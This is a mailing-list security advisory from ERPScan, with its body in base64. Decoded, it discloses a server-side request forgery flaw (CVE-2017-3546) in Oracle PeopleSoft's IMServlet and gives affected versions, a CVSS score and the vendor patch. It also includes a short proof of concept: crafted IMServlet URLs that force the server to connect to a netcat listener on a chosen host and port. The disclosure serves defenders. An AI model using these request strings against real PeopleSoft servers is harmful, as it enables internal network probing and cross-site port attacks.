[ERPSCAN-17-022] SSRF in PeopleSoft IMServlet
ERPScan inc <[email protected]> Thu, 20 Apr 2017 18:25:36 +0300
| Newsgroups | gmane.comp.security.fulldisclosure,gmane.comp.security.penetration,gmane.comp.security.news.securitytracker,gmane.comp.security.bugtraq |
|---|---|
| Message-ID | <CANHWe91WGqGafcBWFcOH1w11s+hXFSa715b55LEZrw+J71E_Ng@mail.gmail.com> |
QXBwbGljYXRpb246IE9yYWNsZSBQZW9wbGVTb2Z0ClZlcnNpb25zIEFmZmVjdGVkOiBUb29sc1Jl bGVhc2U6IDguNTUuMDM7IFRvb2xzUmVsZWFzZURCOiA4LjU1OwpQZW9wbGVTb2Z0IEhDTSA5LjIK VmVuZG9yIFVSTDogaHR0cDovL29yYWNsZS5jb20KQnVnczogU1NSRgpSZXBvcnRlZDogMjMuMTIu MjAxNgpWZW5kb3IgcmVzcG9uc2U6IDI0LjEyLjIwMTYKRGF0ZSBvZiBQdWJsaWMgQWR2aXNvcnk6 IDE4LjA0LjIwMTcKUmVmZXJlbmNlOiBPcmFjbGUgQ1BVIEFwcmlsIDIwMTcKQXV0aG9yOiBSb21h biBTaGFseW1vdiAoRVJQU2NhbikKCkRlc2NyaXB0aW9uCgoxLiBBRFZJU09SWSBJTkZPUk1BVElP TgoKVGl0bGU6W0VSUFNDQU4tMTctMDIyXSBTU1JGIGluIFBlb3BsZVNvZnQgSU1TZXJ2bGV0CkFk dmlzb3J5IElEOiBbRVJQU0NBTi0xNy0wMjJdClJpc2s6IGhpZ2gKQ1ZFOiBDVkUtMjAxNy0zNTQ2 CkFkdmlzb3J5IFVSTDogaHR0cHM6Ly9lcnBzY2FuLmNvbS9hZHZpc29yaWVzL2VycHNjYW4tMTct MDIyLXNzcmYtcGVvcGxlc29mdC1pbXNlcnZsZXQvCkRhdGUgcHVibGlzaGVkOiAxOC4wNC4yMDE3 ClZlbmRvcnMgY29udGFjdGVkOiBPcmFjbGUKCgoyLiBWVUxORVJBQklMSVRZIElORk9STUFUSU9O CgpDbGFzczogU1NSRgpJbXBhY3Q6IGNyb3NzLXNpdGUgcG9ydCBhdHRhY2ssIHNlcnZpY2UgZW51 bWVyYXRpb24KUmVtb3RlbHkgRXhwbG9pdGFibGU6IHllcwpMb2NhbGx5IEV4cGxvaXRhYmxlOiB5 ZXMKCkNWU1MgSW5mb3JtYXRpb24KCkNWU1MgQmFzZSBTY29yZSB2MzogICAgOC4wIC8gMTAKQ1ZT UyBCYXNlIFZlY3RvcjoKQVYgOiBBdHRhY2sgVmVjdG9yIChSZWxhdGVkIGV4cGxvaXQgcmFuZ2Up IE5ldHdvcmsgKE4pCkFDIDogQXR0YWNrIENvbXBsZXhpdHkgKFJlcXVpcmVkIGF0dGFjayBjb21w bGV4aXR5KSBIaWdoIChIKQpQUiA6IFByaXZpbGVnZXMgUmVxdWlyZWQgKExldmVsIG9mIHByaXZp bGVnZXMgbmVlZGVkIHRvIGV4cGxvaXQpIEhpZ2ggKEgpClVJIDogVXNlciBJbnRlcmFjdGlvbiAo UmVxdWlyZWQgdXNlciBwYXJ0aWNpcGF0aW9uKSBOb25lIChOKQpTIDogU2NvcGUgKENoYW5nZSBp biBzY29wZSBkdWUgdG8gaW1wYWN0IGNhdXNlZCB0byBjb21wb25lbnRzIGJleW9uZAp0aGUgdnVs bmVyYWJsZSBjb21wb25lbnQpIENoYW5nZWQgKEMpCkMgOiBJbXBhY3QgdG8gQ29uZmlkZW50aWFs aXR5IEhpZ2ggKEgpCkkgOiBJbXBhY3QgdG8gSW50ZWdyaXR5IEhpZ2ggKEgpCkEgOiBJbXBhY3Qg dG8gQXZhaWxhYmlsaXR5IEhpZ2ggKEgpCgoKMy4gVlVMTkVSQUJJTElUWSBERVNDUklQVElPTgoK QW4gYXR0YWNrZXIgY2FuIGZvcmNlIGEgdnVsbmVyYWJsZSBzZXJ2ZXIgdG8gdHJpZ2dlciBtYWxp Y2lvdXMKcmVxdWVzdHMgdG8gdGhpcmQtcGFydHkgc2VydmVycyBvciB0byBpbnRlcm5hbCByZXNv dXJjZXMuIFRoaXMKdnVsbmVyYWJpbGl0eSBjYW4gdGhlbiBiZSBsZXZlcmFnZWQgdG8gbGF1bmNo IHNwZWNpZmljIGF0dGFja3Mgc3VjaCBhcwphIGNyb3NzLXNpdGUgcG9ydCBhdHRhY2ssIHNlcnZp Y2UgZW51bWVyYXRpb24sIGFuZCB2YXJpb3VzIG90aGVyCmF0dGFja3MuCgo0LiBWVUxORVJBQkxF IFBBQ0tBR0VTCgpUb29sc1JlbGVhc2U6IDguNTUuMDMKVG9vbHNSZWxlYXNlREI6IDguNTUKUGVv cGxlU29mdCBIQ00gOS4yCgo1LiBTT0xVVElPTlMgQU5EIFdPUktBUk9VTkRTCgpUbyBjb3JyZWN0 IHRoaXMgdnVsbmVyYWJpbGl0eSwgaW1wbGVtZW50IE9yYWNsZSBDUFUgQXByaWwgMjAxNwoKNi4g QVVUSE9SCgpSb21hbiBTaGFseW1vdgoKNy4gVEVDSE5JQ0FMIERFU0NSSVBUSU9OCgpQb0MKClJ1 biBuZXRjYXQKCjEuIG5jIC1sIC1wICMgb24gc29tZSBob3N0CgpJbiBicm93c2VyIG9wZW4gdGhl IGZvbGxvd2luZyBsaW5rcwoKaHR0cDovL1BQTFNPRlRTUlY6ODAwMC9JTVNlcnZsZXQ/TWV0aG9k PUNPTk5FQ1QKCmh0dHA6Ly9QUExTT0ZUU1JWOjo4MDAwL0lNU2VydmxldD9NZXRob2Q9R09PR0xF X1BSRVNFTkNFJmltX3RvX3VzZXI9YWJjJmltX3NlcnZlcl9uYW1lPUdPT0dMRSZpbV9zZXJ2ZXI9 U09NRUhPU1Q6T1BFTl9QT1JULz9wYXJhbT12YXIlMjMiCgoKUmVhZCByZXNwb25zZSBpbiBuZXRj YXQKCkdFVCAvP3BhcmFtPXZhciBIVFRQLzEuMQoKVXNlci1BZ2VudDogSmF2YTEuNy4wXzk1CgpI b3N0OiBTT01FSE9TVDpPUEVOX1BPUlQKCkFjY2VwdDogdGV4dC9odG1sLCBpbWFnZS9naWYsIGlt YWdlL2pwZWcsIC87IHE9LjIKCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUKCgo4LiBBQk9VVCBFUlBT Y2FuIFJlc2VhcmNoCgpFUlBTY2FuIHJlc2VhcmNoIHRlYW0gc3BlY2lhbGl6ZXMgaW4gdnVsbmVy YWJpbGl0eSByZXNlYXJjaCBhbmQKYW5hbHlzaXMgb2YgY3JpdGljYWwgZW50ZXJwcmlzZSBhcHBs aWNhdGlvbnMuIEl0IHdhcyBhY2tub3dsZWRnZWQKbXVsdGlwbGUgdGltZXMgYnkgdGhlIGxhcmdl c3Qgc29mdHdhcmUgdmVuZG9ycyBsaWtlIFNBUCwgT3JhY2xlLApNaWNyb3NvZnQsIElCTSwgVk13 YXJlLCBIUCBmb3IgZGlzY292ZXJpbmcgbW9yZSB0aGFuIDQwMAp2dWxuZXJhYmlsaXRpZXMgaW4g dGhlaXIgc29sdXRpb25zICgyMDAgb2YgdGhlbSBqdXN0IGluIFNBUCEpLgoKRVJQU2NhbiByZXNl YXJjaGVycyBhcmUgcHJvdWQgb2YgZGlzY292ZXJpbmcgbmV3IHR5cGVzIG9mCnZ1bG5lcmFiaWxp dGllcyAoVE9QIDEwIFdlYiBIYWNraW5nIFRlY2huaXF1ZXMgMjAxMikgYW5kIG9mIHRoZSAiVGhl CkJlc3QgU2VydmVyLVNpZGUgQnVnIiBub21pbmF0aW9uIGF0IEJsYWNrSGF0IDIwMTMuCgpFUlBT Y2FuIGV4cGVydHMgcGFydGljaXBhdGVkIGFzIHNwZWFrZXJzLCBwcmVzZW50ZXJzLCBhbmQgdHJh aW5lcnMgYXQKNjArIHByaW1lIGludGVybmF0aW9uYWwgc2VjdXJpdHkgY29uZmVyZW5jZXMgaW4g MjUrIGNvdW50cmllcyBhY3Jvc3MKdGhlIGNvbnRpbmVudHMgKCBlLmcuIEJsYWNrSGF0LCBSU0Es IEhJVEIpIGFuZCBjb25kdWN0ZWQgcHJpdmF0ZQp0cmFpbmluZ3MgZm9yIHNldmVyYWwgRm9ydHVu ZSAyMDAwIGNvbXBhbmllcy4KCkVSUFNjYW4gcmVzZWFyY2hlcnMgY2Fycnkgb3V0IHRoZSBFQVMt U0VDIHByb2plY3QgdGhhdCBpcyBmb2N1c2VkIG9uCmVudGVycHJpc2UgYXBwbGljYXRpb24gc2Vj dXJpdHkgYXdhcmVuZXNzIGJ5IGlzc3VpbmcgYW5udWFsIFNBUApzZWN1cml0eSByZXNlYXJjaGVz LgoKRVJQU2NhbiBleHBlcnRzIHdlcmUgaW50ZXJ2aWV3ZWQgaW4gc3BlY2lhbGl6ZWQgaW5mby1z ZWMgcmVzb3VyY2VzIGFuZApmZWF0dXJlZCBpbiBtYWpvciBtZWRpYSB3b3JsZHdpZGUuIEFtb25n IHRoZW0gdGhlcmUgYXJlIFJldXRlcnMsCllhaG9vLCBTQyBNYWdhemluZSwgVGhlIFJlZ2lzdGVy LCBDSU8sIFBDIFdvcmxkLCBEYXJrUmVhZGluZywgSGVpc2UsCkNoaW5hYnl0ZSwgZXRjLgoKT3Vy IHRlYW0gY29uc2lzdHMgb2YgaGlnaGx5LXF1YWxpZmllZCByZXNlYXJjaGVycywgc3BlY2lhbGl6 ZWQgaW4KdmFyaW91cyBmaWVsZHMgb2YgY3liZXJzZWN1cml0eSAoZnJvbSB3ZWIgYXBwbGljYXRp b24gdG8gSUNTL1NDQURBCnN5c3RlbXMpLCBnYXRoZXJpbmcgdGhlaXIgZXhwZXJpZW5jZSB0byBj b25kdWN0IHRoZSBiZXN0IFNBUCBzZWN1cml0eQpyZXNlYXJjaC4KCjkuIEFCT1VUIEVSUFNjYW4K CkVSUFNjYW4gaXMgdGhlIG1vc3QgcmVzcGVjdGVkIGFuZCBjcmVkaWJsZSBCdXNpbmVzcyBBcHBs aWNhdGlvbgpDeWJlcnNlY3VyaXR5IHByb3ZpZGVyLiBGb3VuZGVkIGluIDIwMTAsIHRoZSBjb21w YW55IG9wZXJhdGVzIGdsb2JhbGx5CmFuZCBlbmFibGVzIGxhcmdlIE9pbCBhbmQgR2FzLCBGaW5h bmNpYWwsIFJldGFpbCBhbmQgb3RoZXIKb3JnYW5pemF0aW9ucyB0byBzZWN1cmUgdGhlaXIgbWlz c2lvbi1jcml0aWNhbCBwcm9jZXNzZXMuIE5hbWVkIGFzIGFuCuKAmEVtZXJnaW5nIFZlbmRvcuKA mSBpbiBTZWN1cml0eSBieSBDUk4sIGxpc3RlZCBhbW9uZyDigJxUT1AgMTAwIFNBUApTb2x1dGlv biBwcm92aWRlcnPigJ0gYW5kIGRpc3Rpbmd1aXNoZWQgYnkgMzArIG90aGVyIGF3YXJkcywgRVJQ U2NhbiBpcwp0aGUgbGVhZGluZyBTQVAgU0UgcGFydG5lciBpbiBkaXNjb3ZlcmluZyBhbmQgcmVz b2x2aW5nIHNlY3VyaXR5CnZ1bG5lcmFiaWxpdGllcy4gRVJQU2NhbiBjb25zdWx0YW50cyB3b3Jr IHdpdGggU0FQIFNFIGluIFdhbGxkb3JmIHRvCmFzc2lzdCBpbiBpbXByb3ZpbmcgdGhlIHNlY3Vy aXR5IG9mIHRoZWlyIGxhdGVzdCBzb2x1dGlvbnMuCgpFUlBTY2Fu4oCZcyBwcmltYXJ5IG1pc3Np b24gaXMgdG8gY2xvc2UgdGhlIGdhcCBiZXR3ZWVuIHRlY2huaWNhbCBhbmQKYnVzaW5lc3Mgc2Vj dXJpdHksIGFuZCBwcm92aWRlIHNvbHV0aW9ucyBmb3IgQ0lTTydzIHRvIGV2YWx1YXRlIGFuZApz ZWN1cmUgU0FQIGFuZCBPcmFjbGUgRVJQIHN5c3RlbXMgYW5kIGJ1c2luZXNzLWNyaXRpY2FsIGFw cGxpY2F0aW9ucwpmcm9tIGJvdGggY3liZXJhdHRhY2tzIGFuZCBpbnRlcm5hbCBmcmF1ZC4gQXMg YSBydWxlLCBvdXIgY2xpZW50cyBhcmUKbGFyZ2UgZW50ZXJwcmlzZXMsIEZvcnR1bmUgMjAwMCBj b21wYW5pZXMgYW5kIE1TUHMsIHdob3NlIHJlcXVpcmVtZW50cwphcmUgdG8gYWN0aXZlbHkgbW9u aXRvciBhbmQgbWFuYWdlIHNlY3VyaXR5IG9mIHZhc3QgU0FQIGFuZCBPcmFjbGUKbGFuZHNjYXBl cyBvbiBhIGdsb2JhbCBzY2FsZS4KCldlIOKAmGZvbGxvdyB0aGUgc3Vu4oCZIGFuZCBoYXZlIHR3 byBodWJzLCBsb2NhdGVkIGluIFBhbG8gQWx0byBhbmQKQW1zdGVyZGFtLCB0byBwcm92aWRlIHRo cmVhdCBpbnRlbGxpZ2VuY2Ugc2VydmljZXMsIGNvbnRpbnVvdXMgc3VwcG9ydAphbmQgdG8gb3Bl cmF0ZSBsb2NhbCBvZmZpY2VzIGFuZCBwYXJ0bmVyIG5ldHdvcmsgc3Bhbm5pbmcgMjArCmNvdW50 cmllcyBhcm91bmQgdGhlIGdsb2JlLgoKCgoKQWRkcmVzcyBVU0E6IDIyOCBIYW1pbHRvbiBBdmVu dWUsIEZsLiAzLCBQYWxvIEFsdG8sIENBLiA5NDMwMQoKUGhvbmU6IDY1MC43OTguNTI1NQoKVHdp dHRlcjogQGVycHNjYW4KClNjb29wLWl0OiBCdXNpbmVzcyBBcHBsaWNhdGlvbiBTZWN1cml0eQoK X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18KU2VudCB0aHJv dWdoIHRoZSBGdWxsIERpc2Nsb3N1cmUgbWFpbGluZyBsaXN0Cmh0dHBzOi8vbm1hcC5vcmcvbWFp bG1hbi9saXN0aW5mby9mdWxsZGlzY2xvc3VyZQpXZWIgQXJjaGl2ZXMgJiBSU1M6IGh0dHA6Ly9z ZWNsaXN0cy5vcmcvZnVsbGRpc2Nsb3N1cmUv